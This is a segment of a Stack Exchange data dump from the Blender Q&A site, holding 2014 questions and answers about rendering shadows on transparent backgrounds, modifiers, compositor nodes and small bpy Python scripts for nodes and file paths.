  <row Id="14897" PostTypeId="2" ParentId="14886" CreationDate="2014-08-10T21:44:41.003" Score="7" Body="&lt;p&gt;If you call the &lt;code&gt;render()&lt;/code&gt; operator via &lt;em&gt;PyConsole&lt;/em&gt; or &lt;em&gt;Text Editor&lt;/em&gt;, a different default execution context is used. It is &lt;code&gt;'EXEC_DEFAULT'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In contrast, buttons in panels and also menu entries use &lt;code&gt;'INVOKE_DEFAULT'&lt;/code&gt; by default for operators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can override the execution context in layouts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;col = layout.column()&#xA;col.operator_context = 'EXEC_DEFAULT'&#xA;col.operator(&quot;render.render&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As well as in the console / editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.render.render('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you use an override and keyword arguments for an operator call, the order is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.render.render({'dict': &quot;override&quot;}, # dictionary for context overriding&#xA;                      'EXECUTION_CONTEXT',  # a valid execution context&#xA;                      undo,                 # undo support (True or False)&#xA;                      keyword=&quot;argument_1&quot;, # first operator argument&#xA;                      ...)                  # more operator arguments follow here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.ops.html#keywords-and-positional-arguments&quot; rel=&quot;noreferrer&quot;&gt;Keywords and Positional Arguments&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.ops.html#execution-context&quot; rel=&quot;noreferrer&quot;&gt;Execution Context&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.UILayout.html#bpy.types.UILayout.operator_context&quot; rel=&quot;noreferrer&quot;&gt;UILayout.operator_context&lt;/a&gt; and the example of &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Operator.html#calling-a-file-selector&quot; rel=&quot;noreferrer&quot;&gt;Calling a file selector&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Operator.html#invoke-function&quot; rel=&quot;noreferrer&quot;&gt;Invoke Function&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-08-12T19:45:26.970" LastActivityDate="2014-08-12T19:45:26.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14898" PostTypeId="1" AcceptedAnswerId="14900" CreationDate="2014-08-10T22:30:25.603" Score="20" ViewCount="30419" Body="&lt;p&gt;I need to render a model on a transparent background. The models have a light source so they should be casting a shadow on a surface (the XY plane). The purpose for this is to overlay the rendered images (out of blender) on an image of the actual surface, so I want to generate the render &lt;em&gt;including&lt;/em&gt; a semi-transparent shadow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don´t have any problem rendering the models on transparent background, but I can not make a shadow appear. I tried adding a surface below the model so the shadow can fall on it, but now there's the problem of keeping the surface from rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I render the shadow on a transparent background?&lt;/p&gt;&#xA;" OwnerUserId="2391" LastEditorUserId="2217" LastEditDate="2015-12-14T00:33:17.077" LastActivityDate="2015-12-14T00:33:17.077" Title="Render shadow on transparent background with Blender Render" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ClosedDate="2015-12-14T00:39:37.577" ContentLicense="CC BY-SA 3.0" />
  <row Id="14899" PostTypeId="1" CreationDate="2014-08-10T22:36:11.307" Score="2" ViewCount="70" Body="&lt;p&gt;I just want to know how do I get what I see when editing like in the picture below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I see in Edit Mode:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/P0ljf.png&quot; alt=&quot;Edit mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But some objects don't appear when I render it with the game engine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EaVxc.png&quot; alt=&quot;Game engine&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="5561" LastEditorUserId="3078" LastEditDate="2014-09-17T21:49:20.647" LastActivityDate="2014-10-17T21:52:38.623" Title="How can I get what I edited when I run the game engine?" Tags="&lt;rendering&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2014-10-18T01:16:21.807" ContentLicense="CC BY-SA 3.0" />
  <row Id="14900" PostTypeId="2" ParentId="14898" CreationDate="2014-08-10T22:38:12.563" Score="24" Body="&lt;p&gt;On the shadow catcher object, add a material and enable &lt;em&gt;Shadows only&lt;/em&gt; in &lt;em&gt;Material &gt; Shadow&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lRjpk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make it so that only the shadows cast on the object are shown, the rest of the surface will be invisible, showing the sky behind it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set the alpha to &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Render settings &gt; Shading&lt;/em&gt;, the sky will be rendered as image transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3YmfO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-10T22:46:14.810" LastActivityDate="2014-08-10T22:46:14.810" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14901" PostTypeId="1" AcceptedAnswerId="14902" CreationDate="2014-08-11T01:17:28.210" Score="7" ViewCount="599" Body="&lt;p&gt;I am attempting to make a tree but when I try to join the different components together &lt;kbd&gt;ctrl&lt;/kbd&gt; &lt;kbd&gt;J&lt;/kbd&gt; my decimated icospheres revert back to its original shape.  Any idea on how I can solve this?  I also forgot to mention that I am trying to create a low poly tree and that I am still in the learning stages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first image is the tree before joining and the second is the tree after joining&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/522uGm.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SUqERm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4830" LastEditorUserId="12" LastEditDate="2014-08-11T02:12:57.987" LastActivityDate="2014-08-11T02:21:52.637" Title="Object reverts back to non-modified state after joining" Tags="&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14902" PostTypeId="2" ParentId="14901" CreationDate="2014-08-11T02:07:00.627" Score="5" Body="&lt;p&gt;It looks like what is happening is this. On the two green objects of your tree, you added a &lt;em&gt;Decimate&lt;/em&gt; modifier, but before joining the objects you did not apply the modifier. On the &quot;trunk&quot; of the tree you do not have a &lt;em&gt;Decimate&lt;/em&gt;, so when joining the objects the modifier is removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To apply the modifier, in object mode, just click on the &lt;em&gt;apply&lt;/em&gt; button on the modifier.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Q9iUK.png&quot; alt=&quot;apply modifier&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-08-11T02:07:00.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14903" PostTypeId="2" ParentId="14901" CreationDate="2014-08-11T02:07:08.187" Score="7" Body="&lt;p&gt;The object(s) that you select &lt;strong&gt;&lt;em&gt;before&lt;/em&gt;&lt;/strong&gt; the last object with the modifier will discard their modifier stack and inherit that &lt;em&gt;(the last)&lt;/em&gt; object's modifier stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easiest way to avoid any loss of modifiers is to apply them before doing any joins.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-08-11T02:21:52.637" LastActivityDate="2014-08-11T02:21:52.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14905" PostTypeId="1" CreationDate="2014-08-11T06:57:37.323" Score="3" ViewCount="208" Body="&lt;p&gt;I'm fairly new to blender and don't have a good overlook of what can be done with the modifiers yet. Currently I have a plane with a more or less centered ridge, now I wanted to make an X-crossing by copying that plane, turning it around 90 degrees and somehow combining it with the first one. However it don't find a way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I'm looking for function that aligns an object to the axis minima of 2 other objects. Or any other way to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, here are some pictures to better show what I would like to acquire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume I have a plane like this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YJaTY.png&quot; alt=&quot;basic plane with a rift&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I copy this plane and rotate it around 90 degrees around the Z axis. The result looks like this from above:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/D7nkl.png&quot; alt=&quot;both planes from above&quot;&gt;&#xA;And like this from below:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bKblB.png&quot; alt=&quot;both planes from below&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two planes are joint to get a single object. Now what I would like to have is something like this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ueetF.png&quot; alt=&quot;The result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was done creating a second plane with a higher vertex count and using shrinkwrap. However, the curves in the &quot;rift&quot; are a bit smoothed and not as sharp as in the combined origin mesh. When I use projection for shrinkwrap I get artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was the best I was able to get. Is there a more simple method and/or a method which is more exact, meaning I get the sharp corners where the &quot;rifts&quot; are crossing?&lt;/p&gt;&#xA;" OwnerUserId="5563" LastEditorUserId="2217" LastEditDate="2015-12-14T00:28:03.317" LastActivityDate="2015-12-14T00:28:03.317" Title="Modeling workflow for symmetrical indented plane" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14906" PostTypeId="1" CreationDate="2014-08-11T07:49:46.617" Score="2" ViewCount="157" Body="&lt;p&gt;I pulled one of the lower sections of the blender to the top, and now I am completely unable to do anything.  I tried pulling the top down, but it's not the window I am looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a picture of what it looks like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/emKtD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5565" LastEditorUserId="599" LastEditDate="2014-08-11T08:39:52.227" LastActivityDate="2014-08-11T08:39:52.227" Title="How to recover the 3D view?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14908" PostTypeId="2" ParentId="14906" CreationDate="2014-08-11T08:31:55.153" Score="3" Body="&lt;p&gt;Click and drag the handle in the upper right hand corner of the timeline down to split the view, then set the new timeline to a 3D view by clicking on the editor selection menu in the left side of the header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LjcZQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/5631/599&quot;&gt;How to close view windows?&lt;/a&gt; and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Window_system/Arranging_frames&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-08-11T08:37:10.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14909" PostTypeId="1" AcceptedAnswerId="14936" CreationDate="2014-08-11T12:15:32.717" Score="2" ViewCount="302" Body="&lt;p&gt;I want to render some glass, in order to actually see something it requires a background. However I want the glass object to have a transparent surrounding. How do I make a background which is considered by the refraction of the glass but is transparent when it is seen directly by the camera?&lt;/p&gt;&#xA;" OwnerUserId="5568" LastActivityDate="2014-08-12T06:10:38.827" Title="Render a surface transparent only if directly visible" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14910" PostTypeId="1" AcceptedAnswerId="14914" CreationDate="2014-08-11T13:24:12.600" Score="5" ViewCount="3792" Body="&lt;p&gt;Is it possible to create an Output Node with python? &#xA;I tried to do it, but I'm in stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I want to create:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yQ9ov.png&quot; alt=&quot;example output node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I started but I'm sure it's wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.context.area.type = 'NODE_EDITOR'&#xA;bpy.ops.node.add_node(use_transform=False, type=&quot;CompositorNodeOutputFile&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="911" LastEditorUserId="2217" LastEditDate="2015-12-14T00:13:27.713" LastActivityDate="2015-12-14T00:35:49.740" Title="Output Node with Python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14911" PostTypeId="1" AcceptedAnswerId="14938" CreationDate="2014-08-11T13:50:47.777" Score="3" ViewCount="3351" Body="&lt;p&gt;How to find out the file path I dropped my Python script from?&#xA;I want to call an external application for image post-processing from a Python script and I want the application to be in the same folder as the script. And I want Blender to automatically find that application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about this question:&#xA;&quot;&lt;a href=&quot;https://blender.stackexchange.com/questions/639/how-do-i-get-the-path-my-script-is-running-in&quot;&gt;How do I get the path my script is running in?&lt;/a&gt;&quot;&#xA;but it's not the same&lt;/p&gt;&#xA;" OwnerUserId="4928" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-08-12T06:58:57.797" Title="Get path of my script file" Tags="&lt;python&gt;&lt;scripting&gt;&lt;path&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14912" PostTypeId="1" AcceptedAnswerId="14915" CreationDate="2014-08-11T13:56:45.410" Score="3" ViewCount="1429" Body="&lt;p&gt;I need to get full, absolute path to the image that has been rendered. Unfortunately &lt;code&gt;bpy.path.abspath()&lt;/code&gt; returns only the folder path and not the disk. Same with all the other path functions - no disk.&lt;/p&gt;&#xA;" OwnerUserId="4928" LastActivityDate="2014-08-11T15:04:54.783" Title="How to get full file path to rendered image?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;path&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14914" PostTypeId="2" ParentId="14910" CreationDate="2014-08-11T14:59:19.240" Score="10" Body="&lt;p&gt;It's better to not use operators, there is a sophisticated &quot;low-level&quot; API for the node interface:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;nodes = scene.node_tree.nodes&#xA;&#xA;render_layers = nodes['Render Layers']&#xA;output_file = nodes.new(&quot;CompositorNodeOutputFile&quot;)&#xA;output_file.base_path = &quot;//maFolder/&quot;&#xA;&#xA;scene.node_tree.links.new(&#xA;    render_layers.outputs['Image'],&#xA;    output_file.inputs['Image']&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You basically need to create a node and a link, and specify the input and output for the latter on creation to establish the connection.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-08-11T14:59:19.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14915" PostTypeId="2" ParentId="14912" CreationDate="2014-08-11T15:04:54.783" Score="5" Body="&lt;p&gt;There's a utility function:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;frame_path()&lt;br&gt;&#xA;  RenderSettings.frame_path(frame=1)&lt;br&gt;&#xA;  Return the absolute path to the filename to be written for a given frame&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene = bpy.context.scene&#xA;path = scene.render.frame_path(scene.frame_current)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-08-11T15:04:54.783" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14916" PostTypeId="2" ParentId="14911" CreationDate="2014-08-11T15:10:28.210" Score="1" Body="&lt;p&gt;&lt;strong&gt;Dirty option&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming there is only ONE text editor open from which you have run your dropped script you can have this (in your script) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, os&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'TEXT_EDITOR':&#xA;        for space in area.spaces:&#xA;            if space.type == 'TEXT_EDITOR':&#xA;                scriptFolder = os.path.dirname(space.text.filepath)&#xA;                print(scriptFolder)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will print the directory of loaded and displayed scripts from any active text editors. This is why it's working if there is only one text editor and you had just pressed the run script button. In that case you should have the right path. Note that this is dirty and unsafe :)&lt;/p&gt;&#xA;" OwnerUserId="4925" LastActivityDate="2014-08-11T15:10:28.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14918" PostTypeId="1" CreationDate="2014-08-11T18:30:10.753" Score="6" ViewCount="2247" Body="&lt;p&gt;I'm writing an addon to import game models into Blender. But sometimes, there is a mismatch between a bone's name from the animation file and the name from the object file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd like, when the script encounters an unknown bone, to open a popup with a list of existing bones (plus an option to ignore the bone), that would pause the script until the user has chosen his result, and to get back the chosen option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen &#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/6512/how-to-call-invoke-popup&quot;&gt;How to call invoke_popup?&lt;/a&gt;&#xA;to create a popup, but I'm stuck on several points :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;how to call it from my python code&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;how to change its name (label) before calling it (to say for example &quot;bone X not found&quot;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;how to get the result of the selection&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;how to get the user see and interact with the popup before the end of the script&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5572" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-12-14T00:10:54.583" Title="Create blocking popup in Blender api" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14921" PostTypeId="1" CreationDate="2014-08-11T20:17:45.073" Score="1" ViewCount="2121" Body="&lt;p&gt;I made a scene of two wine glasses on a flat surface, with an overhead light source. For some reason, when I'm viewing the objects as solids, there are strange shading artifacts that appear on all the objects. The planes do not always show the issue; you can see on the perspective on the left, the overhead plane looks normal, but in the perspective on the right it's entirely black (side note, it's an emission plane). These shadows do not appear in other object viewing modes (wire frame, materials). I'm running Blender 2.71 on a MacBook Pro with OSX Mavericks. This is my home computer, and at my work computer, which runs Windows XP, I don't have this issue ever. I'm very new to Blender, so it may be a simple fix, but I don't understand the program enough to understand what's happening and where to look to make the fix. Any suggestions would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9xvLH.png&quot; alt=&quot;strange shadows&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5573" LastEditorUserId="2859" LastEditDate="2014-10-12T09:19:30.003" LastActivityDate="2014-10-12T09:19:30.003" Title="Strange shadows in Solid mode" Tags="&lt;cycles-render-engine&gt;&lt;objects&gt;&lt;light&gt;&lt;editing&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-08-12T01:17:57.323" ContentLicense="CC BY-SA 3.0" />
  <row Id="14922" PostTypeId="2" ParentId="14921" CreationDate="2014-08-11T21:36:28.130" Score="1" Body="&lt;p&gt;There are 2 possible reasons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Flipped normals&lt;/strong&gt;&#xA;The repair of this is simple: select &quot;bad&quot; object, enter edit mode, press &lt;kbd&gt;tab&lt;/kbd&gt;, and select all vertex &lt;kbd&gt;A&lt;/kbd&gt; and recalculate normals, &lt;kbd&gt;ctrl&lt;/kbd&gt; &lt;kbd&gt;N&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Something bad in options&lt;/strong&gt;&#xA;The easiest repair is just wipe the options. (file -&gt; load factory settings)&lt;/p&gt;&#xA;" OwnerUserId="5553" LastEditorUserId="2217" LastEditDate="2014-08-11T21:42:21.250" LastActivityDate="2014-08-11T21:42:21.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14923" PostTypeId="1" AcceptedAnswerId="14928" CreationDate="2014-08-11T21:47:56.937" Score="1" ViewCount="386" Body="&lt;p&gt;So here's my render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Ek5N.png&quot; alt=&quot;render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here's my compositor node tree:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G8Fjf.jpg&quot; alt=&quot;nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The green spheres are on a separate layer from the rest of the ship, so I can apply glow and blur effects to them, without affecting the rest of the ship. Why aren't the green spheres covering the holes in the ship mesh?&lt;/p&gt;&#xA;" OwnerUserId="5574" LastEditorUserId="2217" LastEditDate="2014-08-11T22:18:18.890" LastActivityDate="2014-08-12T00:00:49.493" Title="Compositor, blur only parts of a render" Tags="&lt;compositor&gt;&lt;render-layers&gt;&lt;masking&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14924" PostTypeId="2" ParentId="14923" CreationDate="2014-08-11T21:57:57.157" Score="0" Body="&lt;p&gt;I think I fixed the issue by substituting the last Mix node with an Alpha Over node. That appears to have gotten rid of the holes, but I don't know why. If anybody's got either an explanation, or another fix, I'd love to hear it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5574" LastActivityDate="2014-08-11T21:57:57.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14925" PostTypeId="1" AcceptedAnswerId="14959" CreationDate="2014-08-11T22:04:47.997" Score="6" ViewCount="773" Body="&lt;p&gt;I am doing a render of a &lt;a href=&quot;http://www.blenderguru.com/tutorials/how-to-create-a-post-apocalyptic-environment&quot; rel=&quot;noreferrer&quot;&gt;tutorial&lt;/a&gt; I finished, and when I go compositing it I get a weird jitter on a defocused object. The tutorial had this too (at 1:04:00), but I wonder if it is possible to remove it. I tried adding a blur/defocus node but it ended messing up with the map value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the jitter I'm talking about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/YNba0dl.jpg&quot; alt=&quot;Node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is my node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/iEIOxsk.png&quot; alt=&quot;Node setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1936" LastEditorUserId="599" LastEditDate="2014-08-12T18:01:33.513" LastActivityDate="2014-08-12T18:05:10.273" Title="Why is the Z very noisy around out of focus objects?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;depth-of-field&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14926" PostTypeId="1" CreationDate="2014-08-11T23:10:00.790" Score="6" ViewCount="830" Body="&lt;p&gt;I have modelled a tombstone from a reference image.&#xA;Pretty happy with the general model, but would like to also model the skull and the wavey lines as you can see in the reference image.&#xA;But how would you do it?&#xA;I tried to do so by creating vertices one by one but it didn't workout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also did some seaming work, but stopped for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BfxOJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hmb0c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5576" LastEditorUserId="12" LastEditDate="2014-08-12T01:14:17.943" LastActivityDate="2014-08-12T01:14:17.943" Title="How to add details from an image to a model" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14927" PostTypeId="1" CreationDate="2014-08-11T23:41:14.060" Score="4" ViewCount="12241" Body="&lt;p&gt;I just got Adobe After Effects CC with Cinema 4D lite.  I use Blender for 3d animation and I don't want to switch to C4D. Is there any way to export After Effects camera movement to Blender?&lt;/p&gt;&#xA;" OwnerUserId="5577" LastEditorUserId="55" LastEditDate="2014-08-12T18:23:41.517" LastActivityDate="2014-08-12T18:23:41.517" Title="Import After Effects Camera Motion into Blender?" Tags="&lt;animation&gt;&lt;camera&gt;&lt;import&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14928" PostTypeId="2" ParentId="14923" CreationDate="2014-08-12T00:00:49.493" Score="0" Body="&lt;p&gt;The mix node uses the alpha channel of the top input exclusively. So whatever is transparent in the top input will be transparent in the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to use an alpha over node as you mentioned, or mixing the alpha channels with a separate mix node and then plugging that into the factor.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-12T00:00:49.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14929" PostTypeId="2" ParentId="14926" CreationDate="2014-08-12T01:10:29.300" Score="5" Body="&lt;p&gt;There are several ways to about getting the detail or illusion of depth on a simple or flat model. The fastest IMO for a use case like this is to use the &lt;em&gt;Displace Modifier&lt;/em&gt;. Simply Unwrap your object or the face you want the detail on or in this instance, it might be better to do a &lt;em&gt;Project from View&lt;/em&gt; and then scale the UVs to match the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next add a texture and set the &lt;em&gt;Mapping&lt;/em&gt; coordinates to &lt;em&gt;UV&lt;/em&gt; and use that texture in the displace modifier. After that, just tweak the settings until you are satisfied, the &lt;em&gt;Strength&lt;/em&gt; value is the one you will primarily use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two things that can improve the final result.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Convert the image to grayscale (black and white) as the displace modifier works best with explicit black and white values&lt;/li&gt;&#xA;&lt;li&gt;Use a flat surface and subdivide it several times rather than modeling extrusions etc, the modifier will handle all of that&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is a quick test using the same image as yours with the steps I outlined above on a flat plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dB335.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-08-12T01:10:29.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
